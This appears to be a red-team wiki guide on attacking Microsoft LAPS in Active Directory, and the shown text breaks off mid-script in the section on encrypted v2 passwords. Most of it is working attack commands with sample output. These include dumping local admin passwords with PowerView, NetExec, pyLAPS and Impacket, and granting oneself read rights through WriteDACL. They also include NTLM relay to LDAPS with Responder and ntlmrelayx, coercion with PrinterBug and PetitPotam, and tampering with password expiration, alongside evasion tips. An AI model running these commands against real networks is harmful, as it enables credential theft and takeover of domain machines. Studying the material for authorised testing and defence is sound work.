ᛉ Yggdrasil

Windows

LAPS Attacks

15 Oct 2026 · 7,792 words · 35 min

Contents

Legend: [ENUM] = Enumeration technique | [DUMP] = Password dumping method | [ABUSE] = Misconfiguration abuse | [LATERAL] = Lateral movement | [PERSIST] = Persistence / Sabotage | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [TOOL] = Tool reference | [MITRE] = MITRE ATT&CK mapping | [v1] = Legacy LAPS only | [v2] = Windows LAPS (2023+) only | [BOTH] = Applies to both versions


1. What is LAPS and Why It Matters for Red Teamers

What it means: LAPS (Local Administrator Password Solution) is Microsoft's solution to a classic AD problem — organizations historically used the same local Administrator password across all domain-joined machines. This made Pass-the-Hash and lateral movement trivial: compromise one machine, own every other workstation in the domain.

LAPS fixes this by assigning a unique, random, auto-rotating password to the local Administrator account on each domain-joined machine, and stores that password in Active Directory as a computer attribute. Only authorized users can read it.

The attack surface: LAPS doesn't remove local admin access — it moves the secret into Active Directory. If you can read the AD attribute, you have local admin on that machine. If you can find who is authorized to read it, you have a privilege escalation target. If it's not deployed, you have domain-wide lateral movement for free.

Without LAPS (classic problem):
┌─────────────────────────────────────────────────────────────┐
│ Every workstation: Administrator / Password123!              │
│                                                              │
│  Compromise WKSTN01 → dump hash → PTH to WKSTN02-500 →     │
│  PTH to WKSTN03-500 → PTH to SERVER01 → ...                 │
│  One hash = ENTIRE DOMAIN lateral movement                   │
└─────────────────────────────────────────────────────────────┘

With LAPS (attacker perspective):
┌─────────────────────────────────────────────────────────────┐
│ WKSTN01: Administrator / xKp#7mQz2!Ry                       │
│ WKSTN02: Administrator / Lw8@nJvX4$Qs                       │
│ WKSTN03: Administrator / Pm3!uFcT6#Vy                       │
│                                                              │
│  Passwords are unique → PTH hash reuse fails!               │
│  BUT: passwords are stored in AD → read AD → own machines   │
│  LAPS is only as secure as the ACLs protecting it           │
└─────────────────────────────────────────────────────────────┘

Why LAPS is still a red teamer's goldmine:

Scenario Attack Value
LAPS deployed, weak ACLs (helpdesk can read all) Read all passwords → own any machine
LAPS deployed, you own a user with ReadProperty on LAPS attribute Targeted machine takeover
LAPS deployed, you have Write on ms-Mcs-AdmPwdExpirationTime Force password reset → read new password
LAPS NOT deployed on some OUs Those machines = shared password → classic PTH
LAPS v1 — no encryption Password readable in plaintext from LDAP
LAPS v2 — encrypted, but you have DA rights Decrypt via KDS root key
LAPS backed up to Entra ID Dump via MS Graph API with the right role

[OPSEC] LAPS passwords are read via LDAP — Event ID 4662 fires on the DC when a confidential attribute (ms-Mcs-AdmPwd) is accessed. Bulk reads trigger alerts. Read only what you need.


2. LAPS Architecture — v1 vs v2 (Windows LAPS)

What it means: There are two distinct generations of LAPS with very different storage, encryption, and attribute names. You must know which version is deployed before attempting to read passwords.

2.1 Version Comparison

                    Legacy LAPS (v1)              Windows LAPS (v2)
                    ─────────────────────         ──────────────────────────────
Introduced:         2015 (LAPS.msi)               April 11, 2023 (Windows Update)
Distribution:       Separate MSI install           Built into Windows OS
GPO Namespace:      LAPS (old)                    Windows Settings → LAPS
Schema Attributes:  ms-Mcs-AdmPwd                 msLAPS-Password
                    ms-Mcs-AdmPwdExpirationTime   msLAPS-PasswordExpirationTime
                                                  msLAPS-EncryptedPassword
                                                  msLAPS-EncryptedPasswordHistory
                                                  msLAPS-EncryptedDSRMPassword
Storage Format:     PLAINTEXT (no encryption!)    JSON blob (or encrypted)
Encryption:         NONE                          Optional (AES-256 via KDS)
DSRM Support:       No                            YES — can manage DSRM password!
Password History:   No                            YES (encrypted history)
Backends:           Active Directory only          Active Directory OR Entra ID
Managed Account:    Built-in Administrator only   Any local account (configurable)

2.2 LAPS Attribute Structure

LAPS v1 Attributes (on Computer object in AD):
├─ ms-Mcs-AdmPwd
│   └─ Type: Confidential attribute
│   └─ Value: PlainTextPassword123!   ← READABLE IF YOU HAVE RIGHTS
│
└─ ms-Mcs-AdmPwdExpirationTime
    └─ Type: Regular attribute (any domain user can read this!)
    └─ Value: 132609935231523081     ← Windows FileTime (100-nanosecond intervals since Jan 1, 1601)
    └─ Readable by everyone → use to detect LAPS deployment!

Windows LAPS v2 Attributes (on Computer object in AD):
├─ msLAPS-Password                  ← Cleartext JSON (if encryption disabled)
│   └─ {"n":"Administrator","t":"2024-01-15T12:00:00","p":"xKp#7mQz2!Ry"}
│       Where: n = account name, t = timestamp, p = password
│
├─ msLAPS-PasswordExpirationTime    ← Expiration timestamp
├─ msLAPS-EncryptedPassword         ← AES-256 encrypted blob (KDS root key)
├─ msLAPS-EncryptedPasswordHistory  ← History of rotated passwords (encrypted)
└─ msLAPS-EncryptedDSRMPassword     ← Encrypted DSRM password (DC management!)

2.3 How LAPS Password Lifecycle Works

[Computer boots / GP refreshes]
        │
        ▼
LAPS CSE (Client Side Extension) runs
        │
        ├─ Check: Has ms-Mcs-AdmPwdExpirationTime passed?
        │   ├─ NO  → Nothing to do, skip
        │   └─ YES → Generate new random password
        │               │
        │               ├─ Apply new password to local Administrator account
        │               ├─ Write new password to ms-Mcs-AdmPwd in AD
        │               └─ Update ms-Mcs-AdmPwdExpirationTime = Now + PwdAge
        │
        └─ Default password age: 30 days (configurable)
           Default length: 14 chars (configurable)
           Default complexity: uppercase + lowercase + numbers + special

[OPSEC] LAPS password rotation happens on GP refresh, not on a timer. If you set the expiration time to the past → password regenerates on the next gpupdate /force or next GP refresh cycle (every ~90 minutes by default).


3. Phase 1 — Detecting LAPS Deployment

What it means: Before trying to read LAPS passwords, you need to confirm LAPS is installed, which OUs it covers, and which machines are managed. Any domain user can check the expiration time attribute — use this as your detection method.

[MITRE] T1087.002 — Account Discovery: Domain Account | T1069.002 — Permission Groups Discovery: Domain Groups

3.1 Check if LAPS is Installed (From Windows)

# Method 1: Check for LAPS PowerShell module
Get-Module -ListAvailable AdmPwd.PS  # Legacy LAPS module
Get-Command *Laps*                   # Windows LAPS (v2) — built-in on Win11/Server2022+
dir "$env:windir\System32\LAPS"      # Check for Windows LAPS binary directory

# Method 2: Check for LAPS CSE DLL on the local machine
Test-Path "C:\Program Files\LAPS\CSE\AdmPwd.dll"    # Legacy LAPS
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd"  # Legacy LAPS GPO key
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\LAPS"  # Windows LAPS

# Method 3: Check LAPS GPO (no auth needed, just domain access)
Get-GPO -All | Where-Object { $_.DisplayName -like "*LAPS*" }

# Method 4: Check from the registry — if LAPS is enabled on this machine
reg query "HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
# 0x1 = LAPS enabled on this machine

3.2 Detect LAPS Deployment via LDAP (No Special Rights)

# KEY INSIGHT: Any domain user can read ms-Mcs-AdmPwdExpirationTime
# Even though they cannot read the password itself!
# Use this to fingerprint which computers ARE managed by LAPS

# PowerView — find LAPS-managed computers (any domain user can run this)
Import-Module PowerView.ps1

Get-DomainComputer | Where-Object {
    $_."ms-Mcs-AdmPwdExpirationTime" -ne $null
} | Select-Object dnsHostName, "ms-Mcs-AdmPwdExpirationTime"

# Output example:
# dnsHostName           ms-Mcs-AdmPwdExpirationTime
# ──────────────────    ───────────────────────────
# WKSTN01.corp.local    132609935231523081   ← LAPS managed!
# WKSTN02.corp.local    132609935291823047   ← LAPS managed!
# SERVER01.corp.local                        ← NOT managed → shared password!

# Active Directory Module
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwdExpirationTime |
  Where-Object { $_.'ms-Mcs-AdmPwdExpirationTime' -ne $null } |
  Select-Object Name, 'ms-Mcs-AdmPwdExpirationTime'

3.3 Detect LAPS Deployment via LDAP (Linux / Remote)

# ldapsearch — find all computers with LAPS (ms-Mcs-AdmPwdExpirationTime populated)
ldapsearch -x -H ldap://dc01.corp.local \
  -D "user@corp.local" -w 'Password123' \
  -b "DC=corp,DC=local" \
  "(&(objectCategory=computer)(ms-Mcs-AdmPwdExpirationTime=*))" \
  dn ms-Mcs-AdmPwdExpirationTime

# NetExec — check LAPS presence across the domain
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps --options
# The LAPS module will show which machines return LAPS data

# Check if LAPS schema extension is present at all
ldapsearch -x -H ldap://dc01.corp.local \
  -D "user@corp.local" -w 'Password123' \
  -b "CN=Schema,CN=Configuration,DC=corp,DC=local" \
  "(lDAPDisplayName=ms-Mcs-AdmPwd)" lDAPDisplayName
# → If the attribute exists in schema → LAPS v1 has been schema-extended

3.4 Identify Machines WITHOUT LAPS (Attack Targets)

# These machines still use a shared local admin password → classic PTH!
Get-DomainComputer | Where-Object {
    $_."ms-Mcs-AdmPwdExpirationTime" -eq $null
} | Select-Object dnsHostName, OperatingSystem

# Also check by OU — LAPS is usually only applied to certain OUs
# Machines in non-covered OUs = no LAPS = shared password!
Get-DomainOU | ForEach-Object {
    $ou = $_
    $computers = Get-DomainComputer -SearchBase $ou.distinguishedname
    $lapsCount = ($computers | Where-Object { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null }).Count
    [PSCustomObject]@{
        OU = $ou.distinguishedname
        Total = $computers.Count
        LAPSManaged = $lapsCount
        NotManaged = $computers.Count - $lapsCount
    }
}

[OPSEC] Reading ms-Mcs-AdmPwdExpirationTime is not logged — it's a non-confidential attribute. This is your safe enumeration path. Reading the actual password (ms-Mcs-AdmPwd) generates Event ID 4662.


4. Phase 2 — Enumerating Who Can Read LAPS Passwords

What it means: The LAPS password attribute is protected by ACLs. Before trying to read it yourself, identify which groups and users have ReadProperty on ms-Mcs-AdmPwd (or AllExtendedRights). These are your lateral movement pivot accounts.

[MITRE] T1069.002 — Permission Groups Discovery: Domain Groups

4.1 PowerView — Find LAPS ACLs on OUs

Import-Module PowerView.ps1

# Method 1: Find who has ReadProperty on ms-Mcs-AdmPwd across all OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs |
  Where-Object {
    ($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and
    ($_.ActiveDirectoryRights -match 'ReadProperty')
  } | ForEach-Object {
    $_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier)
    $_
  } | Select-Object IdentityName, ObjectAceType, ActiveDirectoryRights

# Output example:
# IdentityName            ObjectAceType     ActiveDirectoryRights
# ─────────────────────   ─────────────     ─────────────────────────
# CORP\LAPS Admins        ms-Mcs-AdmPwd    ReadProperty
# CORP\Helpdesk           ms-Mcs-AdmPwd    ReadProperty    ← your target!
# CORP\Domain Admins      ms-Mcs-AdmPwd    ReadProperty

# Method 2: Find who has AllExtendedRights on Computer objects
# AllExtendedRights = can read ALL confidential attributes including LAPS password!
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object {
    ($_.ActiveDirectoryRights -match 'AllExtendedRights') -and
    ($_.ObjectType -eq 'Computer')
  } | ForEach-Object {
    [PSCustomObject]@{
      Identity = Convert-SidToName $_.SecurityIdentifier
      Rights   = $_.ActiveDirectoryRights
      Object   = $_.ObjectDN
    }
  }

4.2 Native LAPS PowerShell Module — Audit Rights

# Requires LAPS module (AdmPwd.PS) installed
Import-Module AdmPwd.PS

# List who can read LAPS passwords per OU
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=corp,DC=local" | Format-List

# Output:
# ObjectDN      : OU=Workstations,DC=corp,DC=local
# ExtendedRightHolders :
#   CORP\Domain Admins
#   CORP\LAPS Admins
#   CORP\Helpdesk          ← this is interesting

# Check LAPS rights for each OU in the domain
Get-DomainOU | ForEach-Object {
    Find-AdmPwdExtendedRights -Identity $_.distinguishedname
}

4.3 bloodyAD — Find LAPS Readers (Linux)

# bloodyAD — enumerate who can read LAPS attributes
python3 bloodyAD.py -u user -d corp.local -p 'Password123' \
  --host dc01.corp.local \
  get search \
  --filter '(ms-mcs-admpwdexpirationtime=*)' \
  --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# Enumerate ACLs on LAPS attribute
python3 bloodyAD.py -u user -d corp.local -p 'Password123' \
  --host dc01.corp.local \
  get objectACL "CN=WKSTN01,OU=Workstations,DC=corp,DC=local"

[ENUM] Key insight: A user with AllExtendedRights on a Computer object can read the LAPS password for that computer — even without ReadProperty specifically on ms-Mcs-AdmPwd. Check for both rights!


5. Phase 3 — Reading LAPS Passwords (Windows / PowerShell)

What it means: Once you identify a user account that has ReadProperty rights on LAPS attributes, use that account to read the password. This is the core exploitation step.

[MITRE] T1003.008 — Credential Dumping | T1552.001 — Credentials from Files

5.1 Native LAPS PowerShell Module (AdmPwd.PS)

# Requires: LAPS management module installed (AdmPwd.PS)
Import-Module AdmPwd.PS

# Read password for a specific computer
Get-AdmPwdPassword -ComputerName "WKSTN01"

# Output:
# ComputerName  DistinguishedName                      Password       ExpirationTimestamp
# ────────────  ───────────────────────────────────    ────────────   ──────────────────
# WKSTN01       CN=WKSTN01,OU=Workstations,DC=...      xKp#7mQz2!Ry  01/15/2025 12:00:00

# Dump all LAPS passwords (only shows what your current user can read)
Get-ADComputer -Filter * | ForEach-Object {
    Get-AdmPwdPassword -ComputerName $_.Name -ErrorAction SilentlyContinue
} | Where-Object { $_.Password -ne $null }

5.2 PowerView — Read LAPS Password

Import-Module PowerView.ps1

# Read LAPS password for a specific computer
Get-DomainComputer "WKSTN01" -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

# Read ALL readable LAPS passwords (bulk dump — generates 4662 per read!)
Get-DomainComputer -Filter '(ms-Mcs-AdmPwd=*)' `
  -Properties Name, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
  Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'

# One-liner dump of all readable passwords
Get-DomainComputer | Select-Object dnsHostName,'ms-mcs-admpwd' |
  Where-Object { $_.'ms-mcs-admpwd' -ne $null }

5.3 Active Directory Module (No LAPS Module Required)

Import-Module ActiveDirectory

# Single computer
Get-ADComputer -Identity "WKSTN01" -Properties 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime' |
  Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'

# All computers — only returns password where you have ReadProperty rights
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' |
  Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } |
  Select-Object Name, 'ms-Mcs-AdmPwd'

5.4 ADSI Searcher — No Module Dependencies

# Pure .NET / ADSI — no external modules needed!
# Great for constrained environments where PowerShell modules are blocked

([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() |
  ForEach-Object {
    Write-Host ""
    $_.properties.cn            # Computer name
    $_.properties.'ms-mcs-admpwd'  # Password
  }

# Or as a cleaner one-liner saving to array
$laps = ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*))").FindAll()
$laps | ForEach-Object { "$($_.Properties.cn) : $($_.Properties.'ms-mcs-admpwd')" }

5.5 Windows LAPS v2 — Read Cleartext Password (if Encryption Disabled)

# Windows LAPS stores password as JSON in msLAPS-Password
# JSON format: {"n":"Administrator","t":"2024-01-15T12:00:00","p":"xKp#7mQz2!Ry"}

# Read msLAPS-Password attribute
$lapsRaw = (Get-DomainObject -Identity "WKSTN01" -Properties msLAPS-Password).'msLAPS-Password'

# Parse the JSON blob
$lapsObj = $lapsRaw | ConvertFrom-Json
Write-Host "Account:  $($lapsObj.n)"   # Managed account name
Write-Host "Password: $($lapsObj.p)"   # LAPS password
Write-Host "Updated:  $($lapsObj.t)"   # Timestamp

# Or via Active Directory module
Get-ADComputer -Filter * -Properties msLAPS-Password,msLAPS-PasswordExpirationTime |
  Where-Object { $_.'msLAPS-Password' -ne $null } |
  ForEach-Object {
    $pwd = $_.'msLAPS-Password' | ConvertFrom-Json
    [PSCustomObject]@{ Name = $_.Name; Account = $pwd.n; Password = $pwd.p }
  }

[v2] The n field in the JSON is critical for Windows LAPS v2 — Microsoft LAPS v2 can manage a custom account instead of the built-in Administrator. Always read the n (name) field to know which account to authenticate with.


6. Phase 4 — Reading LAPS Passwords (Linux / Remote)

What it means: Most red team engagements start from Linux. These methods let you dump LAPS passwords remotely using stolen credentials, NTLM hashes, or Kerberos tickets.

6.1 NetExec (nxc) — The Go-To Remote LAPS Dump

# NetExec LAPS module — works with password, hash, or Kerberos
# Basic dump with password
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps

# With NTLM hash (no password needed!)
nxc ldap dc01.corp.local -u user -H 'AABBCC112233DDEEFF0011223344AABB' -M laps

# With Kerberos ticket
nxc ldap dc01.corp.local -u user -p 'Password123' --use-kcache -M laps

# Output:
# LDAP   192.168.1.10   389   DC01   [*] Windows 10.0 Build 19041 x64
# LDAP   192.168.1.10   389   DC01   [+] corp.local\user:Password123
# LAPS   192.168.1.10   389   DC01   [+] WKSTN01$: Admin Password: xKp#7mQz2!Ry
# LAPS   192.168.1.10   389   DC01   [+] WKSTN02$: Admin Password: Lw8@nJvX4$Qs

# Windows LAPS v2 support
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps --options
# Set MODULE:LAPS_TYPE=2 for Windows LAPS v2
nxc ldap dc01.corp.local -u user -p 'Password123' -M laps -o LAPS_TYPE=2

6.2 pyLAPS — Python Getter/Setter

# pyLAPS — Python tool specifically for LAPS attribute manipulation
git clone https://github.com/p0dalirius/pyLAPS
cd pyLAPS

# Get LAPS password for all computers
python3 pyLAPS.py --action get \
  -u 'user' -d 'corp.local' -p 'Password123' \
  --dc-ip 192.168.1.10

# Get LAPS password for a specific computer
python3 pyLAPS.py --action get \
  -u 'user' -d 'corp.local' -p 'Password123' \
  --dc-ip 192.168.1.10 \
  --computer WKSTN01

# With NTLM hash
python3 pyLAPS.py --action get \
  -u 'user' -d 'corp.local' \
  --hashes ':AABBCC112233DDEEFF0011223344AABB' \
  --dc-ip 192.168.1.10

# Output:
# [+] WKSTN01$  =>  xKp#7mQz2!Ry
# [+] WKSTN02$  =>  Lw8@nJvX4$Qs
# [+] SERVER01$  =>  [ACCESS DENIED - you don't have rights to this one]

6.3 ldapsearch — Manual LDAP Query

# ldapsearch — direct LDAP query (most universal, works anywhere)
ldapsearch -x \
  -H ldap://dc01.corp.local \
  -D "user@corp.local" \
  -w 'Password123' \
  -b "DC=corp,DC=local" \
  "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" \
  ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime dn

# Output:
# dn: CN=WKSTN01,OU=Workstations,DC=corp,DC=local
# ms-MCS-AdmPwd: xKp#7mQz2!Ry
# ms-MCS-AdmPwdExpirationTime: 132609935231523081

# With Kerberos authentication
ldapsearch -Y GSSAPI \
  -H ldap://dc01.corp.local \
  -b "DC=corp,DC=local" \
  "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

6.4 Impacket GetLAPSPassword

# Impacket's dedicated LAPS tool
python3 GetLAPSPassword.py corp.local/user:'Password123'@dc01.corp.local

# With NTLM hash
python3 GetLAPSPassword.py -hashes ':AABBCC112233DDEEFF0011223344AABB' \
  corp.local/user@dc01.corp.local

# Specific target computer
python3 GetLAPSPassword.py corp.local/user:'Password123'@dc01.corp.local \
  -computer WKSTN01

# Output:
# [*] Getting LAPS Passwords
# Computer: WKSTN01$    LAPS Password: xKp#7mQz2!Ry

6.5 LAPSDumper — Python Tool

git clone https://github.com/n00py/LAPSDumper
cd LAPSDumper

# Dump all passwords
python3 laps.py -u user -p 'Password123' -d corp.local

# Dump specific computer
python3 laps.py -u user -p 'Password123' -d corp.local -c WKSTN01

# With hash
python3 laps.py -u user -p '' -d corp.local \
  --ntlm 'AABBCC112233DDEEFF0011223344AABB'

6.6 bloodyAD

# bloodyAD — versatile AD tool, great for LAPS
python3 bloodyAD.py \
  -u user -d corp.local -p 'Password123' \
  --host dc01.corp.local \
  get search \
  --filter '(ms-mcs-admpwdexpirationtime=*)' \
  --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

[OPSEC] Every read of ms-Mcs-AdmPwd fires Event ID 4662 on the DC. Bulk dumping all passwords in a loop = obvious detection. Read selectively — only the machine you need.


7. ACL Abuse — AllExtendedRights & ReadProperty

What it means: Sometimes you don't directly have rights to read LAPS passwords, but you have rights to write ACLs or you're a member of a group that has AllExtendedRights without realizing it. These are your escalation paths.

[MITRE] T1222 — File and Directory Permissions Modification | T1078.002 — Valid Accounts: Domain Accounts

7.1 AllExtendedRights → Instant LAPS Read

# AllExtendedRights on a computer object = read ALL confidential attributes
# Including ms-Mcs-AdmPwd — this is a full LAPS read even without explicit ReadProperty!

# Check if your current user has AllExtendedRights on any computer
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()

Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object {
    ($_.ActiveDirectoryRights -match "AllExtendedRights") -and
    ($_.ObjectType -eq "Computer")
  } | ForEach-Object {
    $identity = Convert-SidToName $_.SecurityIdentifier
    if ($identity -like "*$($currentUser.Name.Split('\')[1])*") {
      Write-Host "[+] You have AllExtendedRights on: $($_.ObjectDN)"
    }
  }

# Then just read the LAPS password directly
Get-DomainComputer "WKSTN01" -Properties ms-Mcs-AdmPwd

7.2 Granting Yourself LAPS Read (If You Have WriteDACL)

# If you have WriteDACL on a computer object or its parent OU:
# → Grant yourself ReadProperty on ms-Mcs-AdmPwd → read the password

# Step 1: Grant your user read access to ms-Mcs-AdmPwd
$identity = [Security.Principal.NTAccount]"CORP\your-user"
$computerDN = "CN=WKSTN01,OU=Workstations,DC=corp,DC=local"

# Get the GUID for ms-Mcs-AdmPwd attribute
$schemaPath = ([adsi]"LDAP://RootDSE").schemaNamingContext
$attrGUID = ([adsisearcher]"(lDAPDisplayName=ms-Mcs-AdmPwd)").FindOne().Properties.schemaidguid[0]
$attrGuidObj = [Guid]$attrGUID

# Create the ACE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $identity,
    [System.DirectoryServices.ActiveDirectoryRights]::ReadProperty,
    [System.Security.AccessControl.AccessControlType]::Allow,
    $attrGuidObj
)

# Apply to computer object
$computer = [adsi]"LDAP://$computerDN"
$computer.ObjectSecurity.AddAccessRule($ace)
$computer.CommitChanges()

Write-Host "[+] Read permission for ms-Mcs-AdmPwd granted!"

# Step 2: Now read the LAPS password
Get-DomainComputer "WKSTN01" -Properties ms-Mcs-AdmPwd

7.3 Account Operators Group — Unexpected LAPS Access

CRITICAL MISCONFIGURATION:
The "Account Operators" group can modify most user and group objects in AD.
If LAPS delegations are done at OU level and Account Operators have
GenericAll or WriteDACL on those OUs → they can modify ACLs to grant themselves LAPS read.

Check: Are you in Account Operators?
whoami /groups | findstr "Account Operators"

Attack path:
Account Operators → modify ACL on computer OU → grant ReadProperty on ms-Mcs-AdmPwd → read LAPS

8. LDAP Relay to Dump LAPS

What it means: If LDAP signing is not enforced (common in many environments), you can relay NTLM authentication to LDAP and use the relayed session to read LAPS passwords — without needing to know the user's password. You only need to be on the network and trigger authentication from an account that has LAPS read rights.

[MITRE] T1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning | T1040 — Network Sniffing

8.1 Attack Flow — LDAP Relay → LAPS Dump

Prerequisites:
  1. LDAP Signing NOT enforced on DC (check via netexec)
  2. A user/computer that has LAPS read rights is on the network
  3. Responder (or similar) to capture NTLM challenge-response

Attack flow:
  ┌─────────────────────────────────────────────────────────────────────┐
  │ 1. Run Responder (LLMNR/NBT-NS/mDNS poisoner)                      │
  │    → Captures NTLMv2 challenge-response from victim machine/user    │
  │                                                                     │
  │ 2. If captured user has LAPS read rights:                           │
  │    Relay their authentication to LDAP on the DC                     │
  │                                                                     │
  │ 3. ntlmrelayx with --dump-laps:                                     │
  │    → Authenticates to LDAPS as the relayed user                     │
  │    → Reads all ms-Mcs-AdmPwd attributes the user can access         │
  │    → Outputs LAPS passwords in cleartext!                           │
  └─────────────────────────────────────────────────────────────────────┘

8.2 Setup — Responder + ntlmrelayx

# Terminal 1: Run Responder (captures NTLM auth)
# IMPORTANT: Disable SMB and HTTP servers in Responder (ntlmrelayx handles them)
sudo python3 Responder.py -I eth0 -dwv -A  # Analyze mode first to see traffic
# Edit /etc/responder/Responder.conf: set SMB = Off, HTTP = Off
sudo python3 Responder.py -I eth0 -dwv

# Terminal 2: Run ntlmrelayx targeting LDAPS with LAPS dump flag
sudo python3 ntlmrelayx.py \
  -t ldaps://192.168.1.10 \    # Target = Domain Controller LDAPS
  --dump-laps \                # Dump all readable LAPS passwords
  --no-dump \                  # Don't dump full LDAP (just LAPS)
  --no-da \                    # Don't try to add DA account
  --no-acl \                   # Don't try ACL abuse
  --no-validate-privs          # Don't waste time checking privs

# When a LAPS-reader account authenticates (via LLMNR etc.):
# [*] Servers started, waiting for connections
# [*] SMBD-Thread-3: Connection from 192.168.1.50 controlled, attacking target ldaps://192.168.1.10
# [*] Attempting LAPS dump...
# [+] Successfully dumped LAPS password for WKSTN01: xKp#7mQz2!Ry
# [+] Successfully dumped LAPS password for WKSTN02: Lw8@nJvX4$Qs

8.3 Trigger NTLM Auth from a Specific User

# Coerce a machine account or user to authenticate to your listener
# Machine accounts often have LAPS read rights (SYSTEM on the machine = read its own LAPS)

# Trigger via PrinterBug (MS-RPRN coercion)
python3 printerbug.py corp.local/user:'Password123'@192.168.1.50 192.168.1.200
#                                                    target          attacker IP

# Trigger via PetitPotam
python3 PetitPotam.py 192.168.1.200 192.168.1.50
#                      attacker IP   target

# Any machine's coerced auth can be relayed!
# If the machine has LAPS read access → LAPS passwords are yours

8.4 Check if LDAP Signing is Enforced

# NetExec — check LDAP signing status (no authentication needed!)
nxc ldap dc01.corp.local -u '' -p '' --port 389

# Alternatively
python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.10
# → LDAP: SIGNING_ENABLED or NOT_REQUIRED
# → LDAPS: CHANNEL_BINDING ENABLED or NOT_REQUIRED

# If NOT REQUIRED → LDAP relay attack is possible!

[DETECT] LDAP relay attacks generate Event ID 4624 (Logon) with source being the attacker IP instead of the victim machine. Anomalous LDAP logons from unexpected sources are the detection point.


9. Force Password Expiry / Sabotage Expiration Time

What it means: If you have write access to ms-Mcs-AdmPwdExpirationTime but not read access to ms-Mcs-AdmPwd, you can set the expiration time to the past. This forces the LAPS client to generate a new password on the next GP refresh. If you also have read access, you get the new password the moment it's set. Even without read access, forcing a reset can break legitimate admin access (sabotage).

[MITRE] T1531 — Account Access Removal | T1222 — File and Directory Permissions Modification

9.1 Who Has Write Access to ExpirationTime?

# By default, COMPUTER ACCOUNTS (SELF) can write to ms-Mcs-AdmPwdExpirationTime
# This is needed so the machine can update its own expiration after rotating the password

# Find users/groups with WriteProperty on ms-Mcs-AdmPwdExpirationTime
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -ResolveGUIDs |
  Where-Object {
    ($_.ObjectAceType -like 'ms-Mcs-AdmPwdExpirationTime') -and
    ($_.ActiveDirectoryRights -match 'WriteProperty')
  } | ForEach-Object {
    Convert-SidToName $_.SecurityIdentifier
  }

9.2 Force Immediate Password Rotation (Write ExpirationTime)

# Attack: Set expiration time to the PAST → forces password rotation on next GP refresh
# This is useful when:
#   1. You have Write on ExpirationTime but not Read on the password
#   2. You CAN read the password → force a rotation → catch the new password immediately

# PowerView — set expiration to a past time to force immediate rotation
Set-DomainObject -Identity "WKSTN01" \
  -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
# 136257686710000000 is a timestamp in the past → forces rotation

# Set to a specific past date (PowerShell FileTime)
$pastDate = (Get-Date "2020-01-01").ToFileTimeUtc()
Set-DomainObject -Identity "WKSTN01" \
  -Set @{'ms-Mcs-AdmPwdExpirationTime' = $pastDate.ToString()} -Verbose

# Using native AD module
Set-ADComputer -Identity "WKSTN01" \
  -Replace @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'}

9.3 pyLAPS — Set Expiration via Python

# pyLAPS — can also SET the expiration time
python3 pyLAPS.py --action set \
  -u user -d corp.local -p 'Password123' \
  --dc-ip 192.168.1.10 \
  --computer WKSTN01 \
  --expiration-time "2020-01-01 00:00:00"
# → Next GP refresh on WKSTN01 will rotate the password

9.4 Extend Expiration Time (Freeze LAPS Password Rotation)

# Attack: Set expiration FAR into the future to PREVENT password rotation
# Why: If you know the current LAPS password, this keeps it valid indefinitely
# Note: Only works if "Do not allow password expiration time longer than required by policy" GPO is DISABLED

# Set expiration 100 years in the future
$farFuture = [DateTime]::MaxValue.ToFileTimeUtc().ToString()
Set-DomainObject -Identity "WKSTN01" \
  -Set @{'ms-Mcs-AdmPwdExpirationTime' = $farFuture} -Verbose

# Alternative large value
Set-DomainObject -Identity "WKSTN01" \
  -Set @{'ms-Mcs-AdmPwdExpirationTime' = '9999999999999999'} -Verbose

# CHECK: If the GPO "Do not allow password expiration time longer than required by policy"
# is Enabled → LAPS will IGNORE this and rotate on schedule anyway!

[OPSEC] Writing to ms-Mcs-AdmPwdExpirationTime fires Event ID 5136 (Directory Service Object Modified). The attribute name is in the log. Defenders watching for LAPS attribute writes will see this.


10. Windows LAPS v2 — Encrypted Password Attacks

What it means: Windows LAPS (v2, April 2023+) supports AES-256 encryption of the stored password using a KDS Root Key on the domain controller. When encryption is enabled, you cannot simply read the msLAPS-EncryptedPassword blob — you need to decrypt it. However, if you have Domain Admin rights, you can still decrypt it.

[MITRE] T1552 — Unsecured Credentials | T1003 — Credential Dumping

10.1 Identify if Encryption is Enabled

# Check if passwords are stored encrypted (msLAPS-EncryptedPassword) vs cleartext (msLAPS-Password)
Get-ADComputer -Filter * -Properties msLAPS-Password, msLAPS-EncryptedPassword |
  ForEach-Object {
    [PSCustomObject]@{
